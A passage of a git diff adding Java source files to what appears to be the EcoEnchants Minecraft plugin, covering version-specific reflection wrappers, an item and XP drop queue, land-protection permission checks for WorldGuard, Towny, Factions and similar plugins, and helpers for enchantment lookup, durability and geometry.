org.bukkit.enchantments.Enchantment; +import org.codehaus.plexus.util.reflection.ReflectionManager; + +public class NMSEnchantManager { + private static NMSEnchantManagerWrapper nmsEnchantManagerWrapper; + + private static final String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; + + public static boolean init() { + try { + ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".NMSEnchantManager"); + final Class class2 = Class.forName("com.willfp.ecoenchants." + version + ".NMSEnchantManager"); + if (NMSEnchantManagerWrapper.class.isAssignableFrom(class2)) { + nmsEnchantManagerWrapper = (NMSEnchantManagerWrapper) class2.getConstructor().newInstance(); + } + } catch (Exception e) { + e.printStackTrace(); + nmsEnchantManagerWrapper = null; + } + return nmsEnchantManagerWrapper != null; + } + + public static void registerNMS(Enchantment enchantment) { + nmsEnchantManagerWrapper.init(enchantment); + } + + public static void printDebug() { + nmsEnchantManagerWrapper.debug(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java new file mode 100644 index 00000000..e259eb85 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java @@ -0,0 +1,62 @@ +package com.willfp.ecoenchants.nms; + + +import com.willfp.ecoenchants.API.TargetWrapper; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.codehaus.plexus.util.reflection.ReflectionManager; + +import java.util.Set; + +@SuppressWarnings("unchecked") +public class Target { + private static TargetWrapper target; + + static { + String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; + try { + ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".Target"); + final Class class2 = Class.forName("com.willfp.ecoenchants." + version + ".Target"); + if (TargetWrapper.class.isAssignableFrom(class2)) { + target = (TargetWrapper) class2.getConstructor().newInstance(); + } + } catch (Exception e) { + Bukkit.getLogger().info(e.getCause() + ""); + e.printStackTrace(); + target = null; + } + } + + public enum Applicable { + TOOL(target.TOOL), + ARMOR(target.ARMOR), + ALL(target.ALL), + AXE(target.AXE), + BOOK(target.BOOK), + PICKAXE(target.PICKAXE), + HOE(target.HOE), + SHOVEL(target.SHOVEL), + SWORD(target.SWORD), + HELMET(target.HELMET), + CHESTPLATE(target.CHESTPLATE), + LEGGINGS(target.LEGGINGS), + BOOTS(target.BOOTS), + ELYTRA(target.ELYTRA), + BOW(target.BOW), + CROSSBOW(target.CROSSBOW), + SHEARS(target.SHEARS), + TRIDENT(target.TRIDENT), + SHIELD(target.SHIELD), + ROD(target.ROD); + + private final Set materials; + + Applicable(Set materials) { + this.materials = materials; + } + + public Set getMaterials() { + return this.materials; + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java new file mode 100644 index 00000000..26a665da --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java @@ -0,0 +1,33 @@ +package com.willfp.ecoenchants.nms; + + +import com.willfp.ecoenchants.API.TridentStackWrapper; +import org.bukkit.Bukkit; +import org.bukkit.entity.Trident; +import org.bukkit.inventory.ItemStack; +import org.codehaus.plexus.util.reflection.ReflectionManager; + +public class TridentStack { + private static TridentStackWrapper tridentStackWrapper; + + private static final String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; + + public static boolean init() { + try { + ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".TridentStack"); + final Class class2 = Class.forName("com.willfp.ecoenchants." + version + ".TridentStack"); + if (TridentStackWrapper.class.isAssignableFrom(class2)) { + tridentStackWrapper = (TridentStackWrapper) class2.getConstructor().newInstance(); + } + } catch (Exception e) { + e.printStackTrace(); + tridentStackWrapper = null; + } + return tridentStackWrapper != null; + } + + public static ItemStack getTridentStack(Trident trident) { + assert tridentStackWrapper != null; + return tridentStackWrapper.getTridentStack(trident); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/queue/DropQueue.java b/Plugin/src/main/java/com/willfp/ecoenchants/queue/DropQueue.java new file mode 100644 index 00000000..dc60a348 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/queue/DropQueue.java @@ -0,0 +1,142 @@ +package com.willfp.ecoenchants.queue; + +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.*; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.ExperienceOrb; +import org.bukkit.entity.Player; +import org.bukkit.event.player.PlayerExpChangeEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.util.Vector; + +import java.util.*; + +/** + * All drops generated from enchantments should be sent through a {@link DropQueue} + * + */ +public class DropQueue { + private final List items; + private int xp; + private final Player player; + private Location loc; + private boolean hasTelekinesis = false; + private ItemStack item; + + /** + * Create {@link DropQueue} linked to player + * @param player The player + */ + public DropQueue(Player player) { + this.items = new ArrayList<>(); + this.xp = 0; + this.player = player; + this.loc = player.getLocation(); + this.item = player.getInventory().getItemInMainHand(); + } + + /** + * Add item to queue + * @param item The item to add + * @return The DropQueue + */ + public DropQueue addItem(ItemStack item) { + this.items.add(item); + return this; + } + + /** + * Add multiple items to queue + * @param itemStacks The items to add + * @return The DropQueue + */ + public DropQueue addItems(Collection itemStacks) { + this.items.addAll(itemStacks); + return this; + } + + /** + * Add xp to queue + * @param amount The amount to add + * @return The DropQueue + */ + public DropQueue addXP(int amount) { + this.xp += amount; + return this; + } + + /** + * Set location of the origin of the drops + * @param l The location + * @return The DropQueue + */ + public DropQueue setLocation(Location l) { + this.loc = l; + return this; + } + + /** + * Force the queue to act as if player has {@link EcoEnchants#TELEKINESIS} + * @return The DropQueue + */ + public DropQueue forceTelekinesis() { + this.hasTelekinesis = true; + return this; + } + + /** + * Set the queue to test specific item for {@link EcoEnchants#TELEKINESIS} + * Default item is the player's held item, however for this is required for Tridents. + * + * @param item The item to test + * @return The DropQueue + */ + public DropQueue setItem(ItemStack item) { + this.item = item; + return this; + } + + /** + * Push the queue + */ + public void push() { + if(!hasTelekinesis) hasTelekinesis = HasEnchant.item(item, EcoEnchants.TELEKINESIS); + + + World world = loc.getWorld(); + assert world != null; + + if (hasTelekinesis) { + for (ItemStack drop : items) { + HashMap nope = player.getInventory().addItem(drop); + for(Map.Entry entry : nope.entrySet()) { + world.dropItemNaturally(loc.add(0.5, 0, 0.5), drop).setVelocity(new Vector()); + } + } + if (xp > 0) { + if(EcoEnchants.TELEKINESIS.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "use-orb")) { + ExperienceOrb orb = (ExperienceOrb) player.getWorld().spawnEntity(player.getLocation().add(0, 0.2, 0), EntityType.EXPERIENCE_ORB); + orb.setVelocity(new Vector(0, 0, 0)); + orb.setExperience(xp); + } else { + PlayerExpChangeEvent event = new PlayerExpChangeEvent(player, xp); + + Bukkit.getPluginManager().callEvent(event); + + player.giveExp(event.getAmount()); + player.playSound(player.getLocation(), Sound.ENTITY_EXPERIENCE_ORB_PICKUP, SoundCategory.AMBIENT, 1f, (float) Rand.randFloat(0.7, 1.2)); + } + } + } else { + for (ItemStack drop : items) { + world.dropItemNaturally(loc.add(0.5, 0, 0.5), drop).setVelocity(new Vector()); + } + if (xp > 0) { + ExperienceOrb orb = (ExperienceOrb) world.spawnEntity(loc, EntityType.EXPERIENCE_ORB); + orb.setExperience(xp); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/task/EcoRunnable.java b/Plugin/src/main/java/com/willfp/ecoenchants/task/EcoRunnable.java new file mode 100644 index 00000000..3d005a24 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/task/EcoRunnable.java @@ -0,0 +1,8 @@ +package com.willfp.ecoenchants.task; + +/** + * Interface for Enchantments with tasks + */ +public interface EcoRunnable extends Runnable { + long getTime(); +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/AntiGrief.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/AntiGrief.java new file mode 100644 index 00000000..e12d4911 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/AntiGrief.java @@ -0,0 +1,331 @@ +package com.willfp.ecoenchants.util; + +import com.massivecraft.factions.*; +import com.massivecraft.factions.perms.PermissibleAction; +import com.palmergames.bukkit.towny.object.Town; +import com.palmergames.bukkit.towny.object.TownyPermission; +import com.palmergames.bukkit.towny.object.WorldCoord; +import com.palmergames.bukkit.towny.utils.PlayerCacheUtil; +import com.sk89q.worldedit.bukkit.BukkitAdapter; +import com.sk89q.worldguard.LocalPlayer; +import com.sk89q.worldguard.WorldGuard; +import com.sk89q.worldguard.bukkit.WorldGuardPlugin; +import com.sk89q.worldguard.protection.flags.Flags; +import com.sk89q.worldguard.protection.regions.RegionContainer; +import com.sk89q.worldguard.protection.regions.RegionQuery; +import com.willfp.ecoenchants.Main; +import me.angeschossen.lands.api.integration.LandsIntegration; +import me.angeschossen.lands.api.land.Area; +import me.angeschossen.lands.api.role.enums.RoleSetting; +import me.ryanhamshire.GriefPrevention.Claim; +import me.ryanhamshire.GriefPrevention.GriefPrevention; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; + +/** + * Class containing methods for compatibility with land management plugins + */ +public class AntiGrief { + + /** + * Can player break block + * @param player The player + * @param block The block + * @return If player can break block + */ + public static boolean canBreakBlock(Player player, Block block) { + if (Main.hasWG) { + LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player); + RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer(); + RegionQuery query = container.createQuery(); + if (!query.testState(BukkitAdapter.adapt(block.getLocation()), localPlayer, Flags.BUILD)) { + if (!WorldGuard.getInstance().getPlatform().getSessionManager().hasBypass(localPlayer, BukkitAdapter.adapt(block.getWorld()))) { + return false; + } + } + } + + if (Main.hasGP) { + Claim claim = GriefPrevention.instance.dataStore.getClaimAt(block.getLocation(), false, null); + if (claim != null) { + if (claim.allowBreak(player, block.getType()) != null) { + return false; + } + } + } + + if (Main.hasFactionsUUID) { + FPlayer fplayer = FPlayers.getInstance().getByPlayer(player); + FLocation flocation = new FLocation(block.getLocation()); + Faction faction = Board.getInstance().getFactionAt(flocation); + + if (!faction.hasAccess(fplayer, PermissibleAction.DESTROY)) { + if (!fplayer.isAdminBypassing()) { + return false; + } + } + } + + if (Main.hasTowny) { + if (!PlayerCacheUtil.getCachePermission(player, block.getLocation(), block.getType(), TownyPermission.ActionType.DESTROY)) { + return false; + } + } + + if (Main.hasLands) { + LandsIntegration landsIntegration = new LandsIntegration(Main.getInstance()); + Area area = landsIntegration.getAreaByLoc(block.getLocation()); + if (area != null) { + return area.canSetting(player, RoleSetting.BLOCK_BREAK, false); + } + } + + + return true; + + } + + /** + * Can player create explosion at location + * @param player The player + * @param location The location + * @return If player can create explosion + */ + public static boolean canCreateExplosion(Player player, Location location) { + if (Main.hasWG) { + LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player); + RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer(); + RegionQuery query = container.createQuery(); + + if (!query.testState(BukkitAdapter.adapt(location), localPlayer, Flags.OTHER_EXPLOSION)) { + if (!WorldGuard.getInstance().getPlatform().getSessionManager().hasBypass(localPlayer, BukkitAdapter.adapt(location.getWorld()))) { + return false; + } + } + } + + if (Main.hasGP) { + Claim claim = GriefPrevention.instance.dataStore.getClaimAt(location, false, null); + if (claim != null) { + if (!claim.areExplosivesAllowed) { + return false; + } + } + } + + if (Main.hasFactionsUUID) { + FPlayer fplayer = FPlayers.getInstance().getByPlayer(player); + FLocation flocation = new FLocation(location); + Faction faction = Board.getInstance().getFactionAt(flocation); + + if (faction.noExplosionsInTerritory()) { + return false; + } + } + + if (Main.hasTowny) { + if (!PlayerCacheUtil.getCachePermission(player, location, Material.TNT, TownyPermission.ActionType.ITEM_USE)) { + return false; + } + } + + if (Main.hasLands) { + LandsIntegration landsIntegration = new LandsIntegration(Main.getInstance()); + Area area = landsIntegration.getAreaByLoc(location); + if (area != null) { + return area.canSetting(player, RoleSetting.BLOCK_IGNITE, false); + } + } + + + return true; + } + + /** + * Can player place block + * @param player The player + * @param block The block + * @return If player can place block + */ + public static boolean canPlaceBlock(Player player, Block block) { + if (Main.hasWG) { + LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player); + RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer(); + RegionQuery query = container.createQuery(); + + if (!query.testState(BukkitAdapter.adapt(block.getLocation()), localPlayer, Flags.BLOCK_PLACE)) { + if (!WorldGuard.getInstance().getPlatform().getSessionManager().hasBypass(localPlayer, BukkitAdapter.adapt(block.getWorld()))) { + return false; + } + } + } + + if (Main.hasGP) { + Claim claim = GriefPrevention.instance.dataStore.getClaimAt(block.getLocation(), false, null); + if (claim != null) { + if (claim.allowBuild(player, block.getType()) != null) { + return false; + } + } + } + + if (Main.hasFactionsUUID) { + FPlayer fplayer = FPlayers.getInstance().getByPlayer(player); + FLocation flocation = new FLocation(block.getLocation()); + Faction faction = Board.getInstance().getFactionAt(flocation); + + if (!faction.hasAccess(fplayer, PermissibleAction.BUILD)) { + if (!fplayer.isAdminBypassing()) { + return false; + } + } + } + + if (Main.hasTowny) { + if (!PlayerCacheUtil.getCachePermission(player, block.getLocation(), block.getType(), TownyPermission.ActionType.BUILD)) { + return false; + } + } + + if (Main.hasLands) { + LandsIntegration landsIntegration = new LandsIntegration(Main.getInstance()); + Area area = landsIntegration.getAreaByLoc(block.getLocation()); + if (area != null) { + return area.canSetting(player, RoleSetting.BLOCK_PLACE, false); + } + } + + return true; + + } + + /** + * Can player injure other player + * @param player The player + * @param victim The victim + * @return If player can injure player + */ + public static boolean canInjurePlayer(Player player, Player victim) { + if (Main.hasWG) { + LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player); + RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer(); + RegionQuery query = container.createQuery(); + + if (!query.testState(BukkitAdapter.adapt(victim.getLocation()), localPlayer, Flags.PVP)) { + if (!WorldGuard.getInstance().getPlatform().getSessionManager().hasBypass(localPlayer, BukkitAdapter.adapt(player.getWorld()))) { + return false; + } + } + } + + if (Main.hasGP) { + Claim claim = GriefPrevention.instance.dataStore.getClaimAt(victim.getLocation(), false, null); + if (claim != null) { + return false; + } + } + + if (Main.hasFactionsUUID) { + FPlayer fplayer = FPlayers.getInstance().getByPlayer(player); + FLocation flocation = new FLocation(victim.getLocation()); + Faction faction = Board.getInstance().getFactionAt(flocation); + + if (faction.isPeaceful()) { + if (!fplayer.isAdminBypassing()) { + return false; + } + } + } + + if (Main.hasTowny) { + try { + Town town = WorldCoord.parseWorldCoord(victim.getLocation()).getTownBlock().getTown(); + if (!town.isPVP()) { + return false; + } + } catch (Exception ignored) {} + } + + if (Main.hasLands) { + LandsIntegration landsIntegration = new LandsIntegration(Main.getInstance()); + Area area = landsIntegration.getAreaByLoc(victim.getLocation()); + if (area != null) { + return area.canSetting(player, RoleSetting.ATTACK_PLAYER, false); + } + } + + return true; + } + + /** + * Can player injure mob + * @param player The player + * @param victim The victim + * @return If player can injure player + */ + public static boolean canInjureMob(Player player, LivingEntity victim) { + if (Main.hasWG) { + LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player); + RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer(); + RegionQuery query = container.createQuery(); + + if (!query.testState(BukkitAdapter.adapt(victim.getLocation()), localPlayer, Flags.DAMAGE_ANIMALS)) { + if (!WorldGuard.getInstance().getPlatform().getSessionManager().hasBypass(localPlayer, BukkitAdapter.adapt(player.getWorld()))) { + return false; + } + } + } + + if (Main.hasGP) { + Claim claim = GriefPrevention.instance.dataStore.getClaimAt(victim.getLocation(), false, null); + if (claim != null) { + if(!claim.ownerID.equals(player.getUniqueId())) { + return false; + } + } + } + + if (Main.hasFactionsUUID) { + FPlayer fplayer = FPlayers.getInstance().getByPlayer(player); + FLocation flocation = new FLocation(victim.getLocation()); + Faction faction = Board.getInstance().getFactionAt(flocation); + + if (faction.hasAccess(fplayer, PermissibleAction.DESTROY)) { + if (!fplayer.isAdminBypassing()) { + return false; + } + } + } + + if (Main.hasTowny) { + try { + Town town = WorldCoord.parseWorldCoord(victim.getLocation()).getTownBlock().getTown(); + if (!town.hasMobs()) { + return false; + } + } catch (Exception ignored) {} + } + + if (Main.hasLands) { + LandsIntegration landsIntegration = new LandsIntegration(Main.getInstance()); + Area area = landsIntegration.getAreaByLoc(victim.getLocation()); + if (area != null) { + return area.canSetting(player, RoleSetting.ATTACK_ANIMAL, false); + } + } + + return true; + } + + /** + * Does player have keep inventory + * @param player The player + * @return If player has keep inventory + */ + public static boolean hasKeepInv(Player player) { + return false; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Bias.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Bias.java new file mode 100644 index 00000000..3a2c2946 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Bias.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.util; + +public class Bias { + + /** + * Bias the input value according to a curve + * @param input The input value + * @param bias The bias between -1 and 1, where higher values bias input values to lower output values + * @return The biased output + */ + public static double bias(double input, double bias) { + double k = Math.pow(1-bias, 3); + + return (input * k) / (input * k - input + 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Circle.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Circle.java new file mode 100644 index 00000000..35aa88c0 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Circle.java @@ -0,0 +1,36 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.util.Vector; + +import java.util.ArrayList; + +public class Circle { + + /** + * Get circle as relative vectors + * @param radius The radius + * @return An array of {@link Vector}s + */ + public static Vector[] getCircle(int radius) { + ArrayList circleVecs = new ArrayList(); + + int xoffset = -radius; + int zoffset = -radius; + + while (zoffset <= radius) { + while (xoffset <= radius) { + if (Math.round(Math.sqrt((xoffset * xoffset) + (zoffset * zoffset))) <= radius) { + circleVecs.add(new Vector(xoffset, 0, zoffset)); + } else { + xoffset++; + continue; + } + xoffset++; + } + xoffset = -radius; + zoffset++; + } + + return circleVecs.toArray(new Vector[0]); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Cube.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Cube.java new file mode 100644 index 00000000..163dab34 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Cube.java @@ -0,0 +1,36 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.util.Vector; + +import java.util.ArrayList; + +public class Cube { + + /** + * Get cube as relative vectors + * @param radius The radius of the cube + * @return An array of {@link Vector}s + */ + public static Vector[] getCube(int radius) { + ArrayList cubeVecs = new ArrayList(); + + int xoffset = -radius; + int zoffset = -radius; + int yoffset = -radius; + + while (yoffset <= radius) { + while (zoffset <= radius) { + while (xoffset <= radius) { + cubeVecs.add(new Vector(xoffset, yoffset, zoffset)); + xoffset++; + } + xoffset = -radius; + zoffset++; + } + zoffset = -radius; + yoffset++; + } + + return cubeVecs.toArray(new Vector[0]); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/EqualIfOver.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/EqualIfOver.java new file mode 100644 index 00000000..46087582 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/EqualIfOver.java @@ -0,0 +1,30 @@ +package com.willfp.ecoenchants.util; + +public class EqualIfOver { + + /** + * If value is above maximum, set it to maximum + * @param toChange The value to test + * @param limit The maximum + * @return The new value + */ + public static int equalIfOver(int toChange, int limit) { + if (toChange > limit) { + toChange = limit; + } + return toChange; + } + + /** + * If value is above maximum, set it to maximum + * @param toChange The value to test + * @param limit The maximum + * @return The new value + */ + public static double equalIfOver(double toChange, double limit) { + if (toChange > limit) { + toChange = limit; + } + return toChange; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/HasEnchant.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/HasEnchant.java new file mode 100644 index 00000000..7f6be81a --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/HasEnchant.java @@ -0,0 +1,266 @@ +package com.willfp.ecoenchants.util; + +import com.willfp.ecoenchants.nms.Target; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Horse; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Objects; + +public class HasEnchant { + + /** + * If player is holding item with Enchantment + * @param player The player + * @param enchant The Enchantment to test + * @return If the player is holding the item + */ + public static boolean playerHeld(Player player, Enchantment enchant) { + if (player == null) + return false; + + if (player.getInventory().getItemInMainHand() == null) + return false; + + if (!player.getInventory().getItemInMainHand().hasItemMeta()) + return false; + + return Objects.requireNonNull(player.getInventory().getItemInMainHand().getItemMeta()).hasEnchant(enchant); + } + + /** + * If horse has enchantment on armor + * @param horse The horse + * @param enchant The Enchantment to test + * @return If the player is holding the item + */ + public static boolean horseArmor(Horse horse, Enchantment enchant) { + if (horse == null) + return false; + + if (horse.getInventory().getArmor() == null) + return false; + + if (!horse.getInventory().getArmor().hasItemMeta()) + return false; + + return Objects.requireNonNull(horse.getInventory().getArmor().getItemMeta()).hasEnchant(enchant); + } + + /** + * If player is holding item in offhand with Enchantment + * @param player The player + * @param enchant The Enchantment to test + * @return If the player is holding the item in offhand + */ + public static boolean playerOffhand(Player player, Enchantment enchant) { + if (player == null) + return false; + + if (player.getInventory().getItemInOffHand() == null) + return false; + + if (!player.getInventory().getItemInOffHand().hasItemMeta()) + return false; + + return Objects.requireNonNull(player.getInventory().getItemInOffHand().getItemMeta()).hasEnchant(enchant); + } + + /** + * If player has helmet with Enchantment + * @param player The player + * @param enchant The Enchantment to test + * @return If the player has the enchantment on their helmet + */ + public static boolean playerHelmet(Player player, Enchantment enchant) { + if (player == null) + return false; + + if (player.getInventory().getHelmet() == null) + return false; + + if (!player.getInventory().getHelmet().hasItemMeta()) + return false; + + return Objects.requireNonNull(player.getInventory().getHelmet().getItemMeta()).hasEnchant(enchant); + } + + /** + * If player has boots with Enchantment + * @param player The player + * @param enchant The Enchantment to test + * @return If the player has the enchantment on their boots + */ + public static boolean playerBoots(Player player, Enchantment enchant) { + if (player == null) + return false; + + if (player.getInventory().getBoots() == null) + return false; + + if (!player.getInventory().getBoots().hasItemMeta()) + return false; + + return Objects.requireNonNull(player.getInventory().getBoots().getItemMeta()).hasEnchant(enchant); + } + + /** + * If player has elytra with Enchantment + * @param player The player + * @param enchant The Enchantment to test + * @return If the player has the enchantment on their elytra + */ + public static boolean playerElytra(Player player, Enchantment enchant) { + if (player == null) + return false; + + if (player.getInventory().getChestplate() == null) + return false; + + if (!Target.Applicable.ELYTRA.getMaterials().contains(player.getInventory().getChestplate().getType())) + return false; + + if (!player.getInventory().getChestplate().hasItemMeta()) + return false; + + return Objects.requireNonNull(player.getInventory().getChestplate().getItemMeta()).hasEnchant(enchant); + } + + /** + * If item has Enchantment + * @param item The item + * @param enchant The Enchantment to test + * @return If item has Enchantment + */ + public static boolean item(ItemStack item, Enchantment enchant) { + + if (item == null) + return false; + + if (!item.hasItemMeta()) + return false; + + if (item.getItemMeta() == null) + return false; + + return item.getItemMeta().hasEnchant(enchant); + } + + /** + * Get level of player held item + * @param player The player + * @param enchant The Enchantment to test + * @return The level + */ + public static int getPlayerLevel(Player player, Enchantment enchant) { + return player.getInventory().getItemInMainHand().getEnchantmentLevel(enchant); + } + + /** + * Get level of horse armor + * @param horse The horse + * @param enchant The Enchantment to test + * @return The level + */ + public static int getHorseLevel(Horse horse, Enchantment enchant) { + return Objects.requireNonNull(horse.getInventory().getArmor()).getEnchantmentLevel(enchant); + } + + /** + * Get level of player held item in offhand + * @param player The player + * @param enchant The Enchantment to test + * @return The level + */ + public static int getPlayerOffhandLevel(Player player, Enchantment enchant) { + return player.getInventory().getItemInOffHand().getEnchantmentLevel(enchant); + } + + /** + * Get level of player boots + * @param player The player + * @param enchant The Enchantment to test + * @return The level + */ + public static int getPlayerBootsLevel(Player player, Enchantment enchant) { + assert player.getInventory().getBoots() != null; + return player.getInventory().getBoots().getEnchantmentLevel(enchant); + } + + /** + * Get level of player helmet + * @param player The player + * @param enchant The Enchantment to test + * @return The level + */ + public static int getPlayerHelmetLevel(Player player, Enchantment enchant) { + assert player.getInventory().getHelmet() != null; + return player.getInventory().getHelmet().getEnchantmentLevel(enchant); + } + + /** + * Get level of player chestplate/elytra + * @param player The player + * @param enchant The Enchantment to test + * @return The level + */ + public static int getPlayerChestplateLevel(Player player, Enchantment enchant) { + assert player.getInventory().getChestplate() != null; + return player.getInventory().getChestplate().getEnchantmentLevel(enchant); + } + + /** + * Get level of item + * @param item The item + * @param enchant The Enchantment to test + * @return The level + */ + public static int getItemLevel(ItemStack item, Enchantment enchant) { + assert item.getItemMeta() != null; + return item.getItemMeta().getEnchantLevel(enchant); + } + + /** + * Get total levels of player armor + * @param player The player + * @param enchant The Enchantment to test + * @param damage Damage the armor + * @return The total levels + */ + public static int getArmorPoints(Player player, Enchantment enchant, boolean damage) { + ArrayList armor = new ArrayList(Arrays.asList(player.getInventory().getArmorContents())); + if (armor.isEmpty()) + return 0; + + + int points = 0; + + for (ItemStack armorPiece : armor) { + if (armorPiece == null) + continue; + if (armorPiece.containsEnchantment(enchant)) { + points += armorPiece.getEnchantmentLevel(enchant); + + if (damage) { + if (Target.Applicable.HELMET.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getHelmet(), 1, 39); + } + if (Target.Applicable.CHESTPLATE.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getChestplate(), 1, 38); + } + if (Target.Applicable.LEGGINGS.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getLeggings(), 1, 37); + } + if (Target.Applicable.BOOTS.getMaterials().contains(armorPiece.getType())) { + ItemDurability.damageItem(player, player.getInventory().getBoots(), 1, 36); + } + } + } + } + + return points; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/ItemDurability.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/ItemDurability.java new file mode 100644 index 00000000..0e073bba --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/ItemDurability.java @@ -0,0 +1,102 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.Bukkit; +import org.bukkit.Sound; +import org.bukkit.SoundCategory; +import org.bukkit.entity.Player; +import org.bukkit.event.player.PlayerItemBreakEvent; +import org.bukkit.event.player.PlayerItemDamageEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.PlayerInventory; +import org.bukkit.inventory.meta.Damageable; +import org.bukkit.inventory.meta.ItemMeta; + +/** + * Contains methods for damaging/repairing items + */ +public class ItemDurability { + /** + * Damage an item in a player's inventory + * The slot of a held item can be obtained with {@link PlayerInventory#getHeldItemSlot()} + * Armor slots are 39 (helmet), 38 (chestplate), 37 (leggings), 36 (boots) + * + * @param player The player + * @param item The item to damage + * @param damage The amount of damage to deal + * @param slot The slot in the inventory of the item + */ + public static void damageItem(Player player, ItemStack item, int damage, int slot) { + if(item == null) return; + + PlayerItemDamageEvent event3 = new PlayerItemDamageEvent(player, item, damage); + Bukkit.getPluginManager().callEvent(event3); + + if(!event3.isCancelled()) { + int damage2 = event3.getDamage(); + if(item.getItemMeta() instanceof Damageable) { + Damageable meta = (Damageable) item.getItemMeta(); + meta.setDamage(meta.getDamage() + damage2); + + if(meta.getDamage() >= item.getType().getMaxDurability()) { + meta.setDamage(item.getType().getMaxDurability()); + item.setItemMeta((ItemMeta) meta); + PlayerItemBreakEvent event = new PlayerItemBreakEvent(player, item); + Bukkit.getPluginManager().callEvent(event); + player.getInventory().clear(slot); + player.playSound(player.getLocation(), Sound.ENTITY_ITEM_BREAK, SoundCategory.BLOCKS,1, 1); + } else { + item.setItemMeta((ItemMeta) meta); + } + } + } + } + /** + * Damage an item in a player's inventory without breaking it + * The slot of a held item can be obtained with {@link PlayerInventory#getHeldItemSlot()} + * Armor slots are 39 (helmet), 38 (chestplate), 37 (leggings), 36 (boots) + * + * @param item The item to damage + * @param damage The amount of damage to deal + * @param player The player + */ + public static void damageItemNoBreak(ItemStack item, int damage, Player player) { + if(item == null) return; + + PlayerItemDamageEvent event3 = new PlayerItemDamageEvent(player, item, damage); + Bukkit.getPluginManager().callEvent(event3); + + if(!event3.isCancelled()) { + int damage2 = event3.getDamage(); + if(item.getItemMeta() instanceof Damageable) { + Damageable meta = (Damageable) item.getItemMeta(); + meta.setDamage(meta.getDamage() + damage2); + + if(meta.getDamage() >= item.getType().getMaxDurability()) { + meta.setDamage(item.getType().getMaxDurability() - 1); + } + item.setItemMeta((ItemMeta) meta); + } + } + } + + /** + * Repair an item in a player's inventory + * The slot of a held item can be obtained with {@link PlayerInventory#getHeldItemSlot()} + * Armor slots are 39 (helmet), 38 (chestplate), 37 (leggings), 36 (boots) + * + * @param item The item to damage + * @param repair The amount of damage to heal + */ + public static void repairItem(ItemStack item, int repair) { + if(item == null) return; + if(item.getItemMeta() instanceof Damageable) { + Damageable meta = (Damageable) item.getItemMeta(); + meta.setDamage(meta.getDamage() - repair); + + if(meta.getDamage() < 0) { + meta.setDamage(0); + } + item.setItemMeta((ItemMeta) meta); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Lightning.java 